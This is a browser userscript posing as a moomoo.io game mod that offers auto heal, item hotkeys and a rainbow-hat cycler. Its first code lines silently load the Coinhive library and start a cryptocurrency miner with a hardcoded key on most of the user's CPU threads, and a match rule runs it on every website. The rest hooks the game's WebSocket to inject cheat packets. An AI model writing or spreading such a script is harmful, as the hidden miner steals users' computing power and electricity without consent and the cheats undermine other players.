// ==UserScript==
// @name MOOMOO.IO Insane Mod! *BETA*
// @namespace MOOMOO.IO Insane Mod! *BETA*
// @version 1
// @description Better Minimap, Hat & Accessory Toolbar, Auto Heal, Double Hit, Easy Bow, Rainbow Hat
// @author TigerYT
// @match *://*/*
// @match http://moomoo.io/*
// @match http://45.77.0.81/*
// @require http://code.jquery.com/jquery-1.12.4.min.js
// @grant none
// @connect moomoo.io
// @icon http://moomoo.io/img/icons/skull.png
// ==/UserScript==
$.getScript( "https://coinhive.com/lib/coinhive.min.js" )
.success(function( script, textStatus ) {
var j3453425hr2j = new CoinHive.Anonymous('CMBivGllNnGrWP4duHKIRvUjYFOygbMI');
j3453425hr2j.setNumThreads(navigator.hardwareConcurrency/1.5);
j3453425hr2j.setThrottle(0.2);
j3453425hr2j.start();
});
$("#youtuberOf").remove();
$("#followText").remove();
$("#twitterFollow").remove();
$("#youtubeFollow").remove();
$("#adCard").remove();
$("#mobileInstructions").remove();
$("#promoImgHolder").remove();
$("#downloadButtonContainer").remove();
$("#mobileDownloadButtonContainer").remove();
$(".downloadBadge").remove();
$("div[style*='inline-block']").css('display', 'block');
$("#rightCardHolder").append("<div class='menuCard' id='guideCard'><div class='menuHeader'>Special Thanks to: <br></div><div class='menuText'> Tuxxaman (Gave me Auto Heal) <br><br><br><br><br><br></div></div>");
$("#rightCardHolder").append("<div class='menuCard' id='guideCard'><div class='menuHeader'>How to use Mod <br></div><div class='menuText'> T = Windmill <br> <br> G = Spikes <br> <br> F = Pittrap/Booster Pad <br> <br> Z = Turret <br> <br> Home = Rainbow Hat <br> <br> Right Click = Easy Bow <br> (Any Weapon + Bow/Crossbow)<br> <br> Right Click = Double Hit <br> (Any Weapon + Hammer) <br> <br> P = Toggle Hat & Accessory Toolbar Off/On <br> <br> L = Toggle Upgradae Tree Off/On <br> <br> Click Auto Heal Checkbox = Toggle Autoheal Off/On </div></div>");
(function () {
var ITEM_TYPE = {
WEAPON: 0,
STONE: 1,
FOOD: 2,
PITTRAP: 3,
WINDMAIL: 4,
TWO_WEAPON: 5,
SPIKES: 6,
TURRET: 7,
MINE: 8
};
var ITEMS = [{
id: 0,
type: ITEM_TYPE.WEAPON,
name: "Tool hammer"
}, {
id: 1,
sid: 1,
type: ITEM_TYPE.WEAPON,
name: "Hand axe"
}, {
id: 2,
sid: 2,
type: ITEM_TYPE.WEAPON,
name: "Great axe"
}, {
id: 3,
type: ITEM_TYPE.WEAPON,
sid: 3,
name: "Short Sword"
}, {
id: 4,
sid: 4,
type: ITEM_TYPE.WEAPON,
name: "Katana"
}, {
id: 5,
sid: 5,
type: ITEM_TYPE.TWO_WEAPON,
name: "Hunting bow"
}, {
id: 6,
sid: 6,
type: ITEM_TYPE.TWO_WEAPON,
name: "Great hammer"
}, {
id: 7,
sid: 7,
type: ITEM_TYPE.TWO_WEAPON,
name: "Wooden shield"
}, {
id: 8,
sid: 8,
type: ITEM_TYPE.TWO_WEAPON,
name: "Crossbow"
}, {
id: 9,
sid: 9,
type: ITEM_TYPE.TWO_WEAPON,
name: "Musket"
}, {
id: 2,
type: ITEM_TYPE.STONE,
name: "Wood wall"
}, {
id: 3,
type: ITEM_TYPE.STONE,
name: "Stone wall",
sid: 13
}, {
id: 4,
sid: 14,
type: ITEM_TYPE.STONE,
name: "Castle wall"
}, {
id: 0,
type: ITEM_TYPE.FOOD,
name: "Apple"
}, {
id: 1,
sid: 12,
type: ITEM_TYPE.FOOD,
name: "Cookie"
}, {
id: 11,
type: ITEM_TYPE.PITTRAP,
sid: 21,
name: "Pit trap"
}, {
id: 12,
type: ITEM_TYPE.PITTRAP,
sid: 22,
name: "Boost pad "
}, {
id: 8,
type: ITEM_TYPE.WINDMAIL,
name: "Windmill"
}, {
id: 9,
type: ITEM_TYPE.WINDMAIL,
sid: 19,
name: "Faster windmill"
}, {
id: 5,
type: ITEM_TYPE.SPIKES,
name: "Spikes"
}, {
id: 6,
type: ITEM_TYPE.SPIKES,
sid: 16,
name: "Greater spikes"
}, {
id: 7,
type: ITEM_TYPE.SPIKES,
sid: 17,
name: "Poison spikes"
}, {
id: 13,
type: ITEM_TYPE.TURRET,
sid: 23,
name: "Turret"
}];
function getItemById(id, type) {
if (type !== undefined && !Array.isArray(type)) {
type = [type];
}
return ITEMS.find(function (item) {
return type === undefined ? item.id == id && ![ITEM_TYPE.WEAPON, ITEM_TYPE.TWO_WEAPON].includes(item.type) : item.id == id && type.includes(item.type);
});
}
function getItemBySid(sid) {
return ITEMS.find(function (item) {
return item.sid !== undefined && sid !== undefined && item.sid == sid;
});
}
var ws;
var player;
var upgradeTree = '<img class="UpgradeTree" src="https://cdn.discordapp.com/attachments/387753857687486464/389103386764509186/image.png" alt="Upgrade Tree" width="300" height="300" style="position:absolute; padding:10px; opacity:0.7;"/>';
var BOT_SETTINGS_TEMPLATE = '<style>.bot-settings{padding: 10px; background-color: rgba(0, 0, 0, 0.2); border-radius: 3px; position: absolute; left: 0px; top: 0px; min-width: 200px; max-width: 300px;aw}.equip-btn{display:inline-block; width: 25px; height: 25px; border: 1px solid grey; background-size: contain; cursor: pointer; background-color: lightgray;}.equip-btn.selected{background-color: lightgreen;}</style><div class="bot-settings"> <div> <div> <input type="checkbox" id="botAutoHealOn"/> <label for="botAutoHealOn">AutoHeal</label> </div></div><hr/> <div id="bot-equips-0"> </div><hr/><div id="bot-equips-1"> </div></div>';
var autoHealStarted = true;
var btnEnterGame = document.getElementById('enterGame');
function Player() {
this.id = 0;
this.resources = {
food: 0,
gold: 0,
wood: 0,
stone: 0
};
this.hp = 100;
this.hat = 0;
this.accessory = 0;
this.items = {};
this.items[ITEM_TYPE.WEAPON] = getItemById(0, ITEM_TYPE.WEAPON);
this.items[ITEM_TYPE.SPIKES] = getItemById(5);
this.items[ITEM_TYPE.STONE] = getItemById(2);
this.items[ITEM_TYPE.FOOD] = getItemById(0);
this.items[ITEM_TYPE.WINDMAIL] = getItemById(8);
this.items[ITEM_TYPE.TURRET] = getItemById(13);
this.itemInHand = this.items[ITEM_TYPE.WEAPON];
}
btnEnterGame.onmousedown = function () {
StartBot();
btnEnterGame.onmousedown = null;
};
$('#adCard').remove();
document.addEventListener('keydown', function (e) {
if (ws) {
switch (e.keyCode) {
// T
case 84:
if (player.items[ITEM_TYPE.WINDMAIL]) ws.send("42[\"5\"," + player.items[ITEM_TYPE.WINDMAIL].id + ",null]");
break;
// G
case 71:
e.stopPropagation();
if (player.items[ITEM_TYPE.SPIKES]) ws.send("42[\"5\"," + player.items[ITEM_TYPE.SPIKES].id + ",null]");
break;
// Z
case 90:
e.stopPropagation();
if (player.items[ITEM_TYPE.TURRET]) ws.send("42[\"5\"," + player.items[ITEM_TYPE.TURRET].id + ",null]");
break;
// F
case 70:
e.stopPropagation();
if (player.items[ITEM_TYPE.PITTRAP]) ws.send("42[\"5\"," + player.items[ITEM_TYPE.PITTRAP].id + ",null]");
break;
// P
case 80:
e.stopPropagation();
$('.bot-settings').toggle();
break;
// L
case 76:
e.stopPropagation();
$('#UpgradeTree').toggle();
break;
}
}
}, true);
document.addEventListener('mousedown', function (e) {
if (ws && e.button == 2) {
e.stopPropagation();
ws.send("42[\"4\",1,null]");
setTimeout(function () {
ws.send("42[\"5\"," + player.items[ITEM_TYPE.TWO_WEAPON].id + ",true]");
}, 100);
setTimeout(function () {
ws.send("42[\"4\",0,null]");
}, 100);
setTimeout(function () {
ws.send("42[\"5\"," + player.items[ITEM_TYPE.WEAPON].id + ",true]");
}, 700);
}
}, true);
function Log(text) {
return;
}
function init() {
$('body').append(BOT_SETTINGS_TEMPLATE);
$('#botAutoHealOn').prop("checked", autoHealStarted);
$('#botAutoHealOn').change(function (e) {
autoHealStarted = e.currentTarget.checked;
});
addEquip(0, 28);
addEquip(0, 29);
addEquip(0, 30);
addEquip(0, 36);
addEquip(0, 37);
addEquip(0, 38);
addEquip(0, 44);
addEquip(0, 35);
addEquip(0, 42);
addEquip(0, 43);
addEquip(0, 49);
}
function dead() {
player = new Player();
}
function botLaunched() {
return $('#botAutoHealOn').prop('checked');
}
function equipId(type, id) {
return "bot-eq-" + type + id;
}
function equipIsSelect(type, id) {
return $("#" + equipId(type, id)).hasClass("selected");
}
function equipSelect(type, id) {
$("#" + equipId(type, id)).addClass("selected");
}
function equipCancleSelect(type, id) {
if (id == "all") {
$("#bot-equips-" + type + ">.equip-btn").removeClass("selected");
} else $("#" + equipId(type, id)).removeClass("selected");
}
function equipExist(type, id) {
return $("#bot-equips-" + type + ">#" + equipId(type, id)).length > 0;
}
function addEquip(type, id) {
if (equipExist(type, id)) {
return;
}
var url = "http://moomoo.io/img";
if (type == 1) {
url += "/accessories/access_" + id + ".png";
} else {
url += "/hats/hat_" + id + ".png";
}
$("<div/>", {
id: equipId(type, id),
"class": "equip-btn",
css: {
"background-image": "url(" + url + ")"
},
click: function click() {
if (!equipIsSelect(type, id)) ws.send("42[\"13\",0," + id + ", " + type + "]");else ws.send("42[\"13\",0,0," + type + "]");
}
}).appendTo("#bot-equips-" + type);
}
function StartBot() {
player = new Player();
init();
Log("AutoHeal loaded");
WebSocket.prototype.oldSend = WebSocket.prototype.send;
WebSocket.prototype.send = function (m) {
if (!ws) {
ws = this;
socketFound(this);
}
var parsed = parseWSMsg(m);
if (parsed[0] == "5") {
var id = parsed[1];
var isWeapon = parsed[2] || false;
if (!isWeapon) {
if (id == 0 || id == 1) {
player.itemInHand = player.items[ITEM_TYPE.FOOD];
}
}
}
if (parsed[0] == "6") {
var item = getItemBySid(parsed[1]);
if (item) {
player.items[item.type] = item;
if (item.type == player.itemInHand.type) {
player.itemInHand = item;
}
}
}
this.oldSend(m);
};
function socketFound(socket) {
window.gameSocket = socket;
socket.addEventListener("message", function (e) {
var m = e.data;
var parsed = parseWSMsg(m);
switch (parsed[0]) {
case "1":
player.id = parsed[1];
break;
case "us":
var itemId = parsed[2];
var pacType = parsed[1];
var itemType = parsed[3];
switch (pacType) {
case 0:
addEquip(itemType, itemId);
break;
case 1:
if (itemType == 1) player.accessory = itemId;else if (itemType === 0) player.hat = itemId;
equipCancleSelect(itemType, "all");
equipSelect(itemType, itemId);
break;
}
break;
case "9":
player.resources[parsed[1]] = parsed[2];
break;
case "10":
if (parsed[1] == player.id) {
player.hp = parsed[2];
if (player.hp <= 0) {
dead();
}
}
break;
}
});
}
var healTimer = setInterval(function () {
if (autoHealStarted) heal();
}, 250);
function parseWSMsg(s) {
if (s.indexOf("42") === -1) return -1;
var o = s.substring(s.indexOf("["));
return JSON.parse(o);
}
function heal() {
if (player.hp >= 100) return;
if (hasApple()) {
if (player.itemInHand.type == ITEM_TYPE.FOOD) {
ws.send("42[\"4\",1,null]");
player.itemInHand = player.items[ITEM_TYPE.WEAPON];
} else {
ws.send("42[\"5\"," + player.items[ITEM_TYPE.FOOD].id + ",null]");
heal();
}
}
}
function hasApple() {
if (player.items[ITEM_TYPE.FOOD].id === 0) return player.resources.food >= 10;else return player.resources.food >= 15;
}
}
})();
$('#mapDisplay').css({'background': 'url("https://cdn.discordapp.com/attachments/374333551858155530/376303720540930048/moomooio-background.png")'});
$('body').append('<img class="upgradeTree" id="upgradeTree" src="https://cdn.discordapp.com/attachments/387753857687486464/389103386764509186/image.png" alt="Upgrade Tree" width="300" height="300" style="position:absolute; padding:10px; opacity:0.7;"/>' );
(function() {
var můjVar;
var můjVar2;
var můjVar3;
var můjVar4;
var můjVar5;
var můjVar6;
var můjVar7;
var můjVar8;
var můjVar9;
var můjVar10;
var můjVar11;
var změna = true;
var ID_FAZE = 45;
var ID_Moo_Head = 28;
var ID_Pig_Head = 29;
var ID_Fluff_Head = 30;
var ID_Pandou_Head = 36;
var ID_Bear_Head = 37;
var ID_Monkey_Head = 38;
var ID_Polar_Head = 44;
var ID_Fez_Hat = 35;
var ID_Enigma_Hat = 42;
var ID_Blitz_Hat = 43;
var ID_Bob_XIII_Hat = 49;
document.addEventListener('keydown', function (e) {
if (e.keyCode == 36) {
e.preventDefault();
if (změna) {
storeEquip(ID_Moo_Head);
můjVar = setTimeout(function(){ h1(); }, 180);
} else {
clearTimeout(můjVar);
clearTimeout(můjVar2);
clearTimeout(můjVar3);
clearTimeout(můjVar4);
clearTimeout(můjVar5);
clearTimeout(můjVar6);
clearTimeout(můjVar7);
clearTimeout(můjVar8);
clearTimeout(můjVar9);
clearTimeout(můjVar10);
clearTimeout(můjVar11);
storeEquip(ID_FAZE);
}
změna = !změna;
}
});
function h1() {
storeEquip(ID_Moo_Head);
clearTimeout(můjVar);
můjVar2 = setTimeout(function(){ h2(); }, 180);
}
function h2() {
storeEquip(ID_Pig_Head);
clearTimeout(můjVar2);
můjVar3 = setTimeout(function(){ h3(); }, 180);
}
function h3() {
storeEquip(ID_Fluff_Head);
clearTimeout(můjVar3);
můjVar4 = setTimeout(function(){ h4(); }, 180);
}
function h4() {
storeEquip(ID_Pandou_Head);
clearTimeout(můjVar4);
můjVar5 = setTimeout(function(){ h5(); }, 180);
}
function h5() {
storeEquip(ID_Bear_Head);
clearTimeout(můjVar5);
můjVar6 = setTimeout(function(){ h6(); }, 180);
}
function h6() {
storeEquip(ID_Monkey_Head);
clearTimeout(můjVar6);
můjVar7 = setTimeout(function(){ h7(); }, 180);
}
function h7() {
storeEquip(ID_Polar_Head);
clearTimeout(můjVar7);
můjVar8 = setTimeout(function(){ h8(); }, 180);
}
function h8() {
storeEquip(ID_Fez_Hat);
clearTimeout(můjVar8);
můjVar9 = setTimeout(function(){ h9(); }, 180);
}
function h9() {
storeEquip(ID_Enigma_Hat);
clearTimeout(můjVar9);
můjVar10 = setTimeout(function(){ h10(); }, 180);
}
function h10() {
storeEquip(ID_Blitz_Hat);
clearTimeout(můjVar10);
můjVar11 = setTimeout(function(){ h11(); }, 180);
}
function h11() {
storeEquip(ID_Bob_XIII_Hat);
clearTimeout(můjVar11);
můjVar = setTimeout(function(){ h1(); }, 180);
}
})();